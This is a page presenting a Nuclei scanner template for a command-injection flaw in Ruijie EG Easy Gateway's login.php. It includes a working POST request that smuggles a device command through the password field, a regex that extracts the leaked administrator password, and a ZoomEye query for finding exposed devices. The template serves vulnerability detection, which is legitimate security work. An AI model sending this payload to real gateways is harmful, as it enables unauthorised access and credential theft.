Skip to content

Ruijie EG Easy Gateway - Remote Command Execution

ID: ruijie-eg-login-rce

Severity: critical

Author: pikpikcu,pdteam

Tags: ruijie,rce

Ruijie EG Easy Gateway login.php has remote commmand execution vulnerability, which can lead to the disclosure of administrator account and password.

id: ruijie-eg-login-rce
info:
name: Ruijie EG Easy Gateway - Remote Command Execution
author: pikpikcu,pdteam
severity: critical
description: Ruijie EG Easy Gateway login.php has remote commmand execution vulnerability, which can lead to the disclosure of administrator account and password.
reference:
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
- https://www.ruijienetworks.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 1
zoomeye-query: app="锐捷 EG 易网关"
tags: ruijie,rce
http:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin?show+webmaster+user
matchers-condition: and
matchers:
- type: word
words:
- '"data":'
- '"status":1'
- 'admin'
condition: and
part: body
- type: word
words:
- 'text/json'
part: header
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- 'admin ([a-zA-Z0-9#@]+)",'
# digest: 4a0a004730450220560427462666afb6f79507e353e8cdb82c95cc05dd648ea41b627d4f6321e0a5022100d8acdff6a57d693612e87f5a6ab23c010ec47cf2d2d545bbadcdc6369c0fe95e:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/ruijie/ruijie-eg-login-rce.yaml"

View on Github